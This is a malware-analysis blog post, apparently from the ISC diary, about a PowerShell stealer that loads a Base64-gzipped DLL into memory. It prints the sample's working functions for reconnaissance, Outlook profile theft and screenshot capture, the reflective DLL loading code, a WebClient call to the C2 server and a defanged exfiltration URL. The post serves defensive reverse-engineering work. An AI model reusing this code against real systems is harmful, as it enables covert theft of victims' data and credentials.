Example of Malicious DLL Injected in PowerShell
For a while, PowerShell remains one of the favorite languages for attackers. Installed by default (and almost impossible to get rid of it), powerful, perfectly integrated with the core operating system. It's very easy to develop specific PowerShell functions that will provide interesting features for an attacker but, if written in PowerShell, they could easily ring a bell for the defenders (example: by using many suspicious API calls). Another technique to expand the language with more functions is just to load a DLL! I found a sample that exfiltrates data from the victim's computer.
First, basic information about the victim's computer is collected by running classic command-line tools:
function F5rfcOkoteobtjw() { if ((((Get-WmiObject Win32_ComputerSystem).partofdomain) -eq $False ) -or ( -not $Env:USERDNSDOMAIN)) { $Z5oXjQKQ = "DOMAIN: NO`n`n" } else { $Z5oXjQKQ = "DOMAIN: YES`n`n"} $Z5oXjQKQ += "SYSTEMINFO:`n`n" + ((systeminfo) -join "`n") $Z5oXjQKQ += "`n`nIPCONFIG:`n`n" + ((ipconfig /all) -join "`n") $Z5oXjQKQ += "`n`nNETSTAT:`n`n" + ((netstat -f) -join "`n") $Z5oXjQKQ += "`n`nNETVIEW:`n`n" + ((net view) -join "`n") $Z5oXjQKQ += "`n`nTASKLIST:`n`n" + ((tasklist) -join "`n") $Z5oXjQKQ += "`n`nWHOAMI:`n`n" + ((whoami) -join "`n") $Z5oXjQKQ += "`n`nUSERNAME:`n`n" + ((net user $env:username /domain) -join "`n") $Z5oXjQKQ += "`n`nDOMAIN ADMINS:`n`n" + ((net group "domain admins" /domain ) -join "`n") $Z5oXjQKQ += "`n`nDESKTOP:`n`n" + (Get-ChildItem ([environment]::getfolderpath("desktop")) | Out-String) $Z5oXjQKQ += "`n`nAV:`n`n" + (Get-WmiObject -Namespace "root\SecurityCenter2" -Query "SELECT * FROM AntiVirusProduct").displayName $EyUrI0YTDc = [System.Text.Encoding]::UTF8.GetBytes($Z5oXjQKQ) r8LHrhI 0 $EyUrI0YTDc }
Then, the Outlook profile is extracted from the registry:
function X2k2cdDAGo() { $Z5oXjQKQ = "" $Z5oXjQKQ += UIe8sB6zH "hkcu:\Software\Microsoft\Office\16.0\Outlook\Profiles\*\9375CFF0413111d3B88A00104B2A6676\*" $Z5oXjQKQ += UIe8sB6zH "hkcu:\Software\Microsoft\Office\15.0\Outlook\Profiles\*\9375CFF0413111d3B88A00104B2A6676\*" $Z5oXjQKQ += UIe8sB6zH "hkcu:\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\*" if ($Z5oXjQKQ -ne "") { $EyUrI0YTDc = [System.Text.Encoding]::UTF8.GetBytes($Z5oXjQKQ) r8LHrhI 1 $EyUrI0YTDc } }
And finally, a screenshot is generated:
function JouSArFQ6kv() { Add-Type -Assembly System.Windows.Forms $z7JRFcFKpF = [Windows.Forms.SystemInformation] $TEFaSIoRepdsHy = $z7JRFcFKpF::VirtualScreen $F9wFd3ghH8VbFJj7 = New-Object Drawing.Bitmap $TEFaSIoRepdsHy.Width, $TEFaSIoRepdsHy.Height $Ox71ToqVRRQwhg9a = [Drawing.Graphics]::FromImage($F9wFd3ghH8VbFJj7) $Ox71ToqVRRQwhg9a.CopyFromScreen($TEFaSIoRepdsHy.Location, [Drawing.Point]::Empty, $TEFaSIoRepdsHy.Size) $Ox71ToqVRRQwhg9a.Dispose() $ntxzp2n = New-Object System.IO.MemoryStream $ZccBcQz3g54=40 $Cq9RWAEjwyTCLRoderParams = New-Object System.Drawing.Imaging.EncoderParameters $Cq9RWAEjwyTCLRoderParams.Param[0] = New-Object Drawing.Imaging.EncoderParameter ([System.Drawing.Imaging.Encoder]::Quality, $ZccBcQz3g54) $dPyJ9JM = [Drawing.Imaging.ImageCodecInfo]::GetImageEncoders() | Where-Object { $_.FormatDescription -eq "JPEG" } $F9wFd3ghH8VbFJj7.save($ntxzp2n, $dPyJ9JM, $Cq9RWAEjwyTCLRoderParams) $F9wFd3ghH8VbFJj7.Dispose() $EyUrI0YTDc = [convert]::ToBase64String($ntxzp2n.ToArray()) $EyUrI0YTDc = [System.Text.Encoding]::ASCII.GetBytes($EyUrI0YTDc) r8LHrhI 2 $EyUrI0YTDc }
But this is not the most interesting part of the sample. Let's have a look at specific functions provided by a malicious DLL. The DLL is gzipped and Base64-encoded:
$UwDI0aRabjIk3s = New-Object IO.Compression.GzipStream([IO.MemoryStream][Convert]::FromBase64String(" H4sIAAAAAAACC+06aXgc ...stuff removed... j8+/wt8EsGVACwAAA=="), [IO.Compression.CompressionMode]::Decompress)
Once decoded, memory is allocated, filled with the DLL code and loaded into the current process:
$tdBxFBPoF9H = New-Object byte[](20480) $UwDI0aRabjIk3s.Read($tdBxFBPoF9H, 0, 20480) | Out-Null [System.Reflection.Assembly]::Load($tdBxFBPoF9H) | Out-Null
The loaded DLL functions are called from multiple locations in the PowerShell script:
[lu1Ghpi.lu1Ghpi]::LCT7Zf([Ref].Assembly) [lu1Ghpi.lu1Ghpi]::G6ftSnK0ugKvb2d(0, 0, $False) [lu1Ghpi.lu1Ghpi]::dIIxO5Q5DK($IjhCozkPh)
Let's load the DLL into Ghidra and we can see all the function names in the symbols:
Let's have a look at the function G6ftSnK0ugKvb2d() which is used to generate the URI to communicate with the C2 server to exfiltrate data:
$du3JoqQ6OQO4 = New-Object System.Net.WebClient $pZkGmBMzTr = "https://$PsEGZJ3A39n/" + [lu1Ghpi.lu1Ghpi]::G6ftSnK0ugKvb2d(0, 0, $False) $ZcHP6xyD = $du3JoqQ6OQO4.DownloadData($pZkGmBMzTr)
The function is quite complex to understand in Ghidra:
This one is not very easy to reverse and, often, we don't have time for this. How to understand the purpose of the function? Let's debug the PowerShell code!
Once the script loaded into PowerShell ISE, you add a breakpoint on an interesting line, by example, the one calling the function seen above and you execute the script:
You can now decode the complete URL used to exfiltrate the data:
hxxps://173-232-146-217[.]sslip[.]io/ss1ocok/xi5/ovmcnml2/24y/h0am5ngt1141zuo454unbce/b/vd/i/irani0ceia.jpg
And, because we loaded the DLL into our PowerShell session, we can directly call the function and see what is returns:
[DBG]: PS C:\Users\REM\Desktop>> [lu1Ghpi.lu1Ghpi]::G6ftSnK0ugKvb2d(0, 0, $False) ga2wu/3/ptzblbvljd0r/0ureglfn/5omzbspltwim1q25hqy2/hhz2/ghbz4pbq.jpg [DBG]: PS C:\Users\REM\Desktop>> [lu1Ghpi.lu1Ghpi]::G6ftSnK0ugKvb2d(0, 0, $False) a/sfgad4hpnogbgm/q1yhxyi4bkff/fk1/sijz/kg2skektcxmrcuyv1ei/vgfoy.jpg [DBG]: PS C:\Users\REM\Desktop>> [lu1Ghpi.lu1Ghpi]::G6ftSnK0ugKvb2d(0, 0, $False) a4kqsy/oe/mq0q/3/gupw3qx4pfih/3euubzgjvfqoj0/hjow/bqr0lvq/meos3mda.jpg
Conclusion: You don't always need to spend a lot of time to reverse a DLL, just load it in a sandbox and call the functions directly from PowerShell. Another approach would be to attach the PowerShell to a debugger but, here again, it will more time-consuming.
The original script is available on VT with a nice score of 3/57 (SHA256:863b7ad4a0b8fb0fff6c60fd8fa41f1dee8632bc9423f88354465e29a0674136)[1]. If you're interested in the DLL, I uploaded it on MalwareBazaar[2].
[1] https://www.virustotal.com/gui/file/863b7ad4a0b8fb0fff6c60fd8fa41f1dee8632bc9423f88354465e29a0674136/detection
[2] https://bazaar.abuse.ch/sample/5eb0794df0be82e3aee984a24dd0197d9d474703d9b4a1a00d8affc99a1a10b6/
Xavier Mertens (@xme)
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key
Comments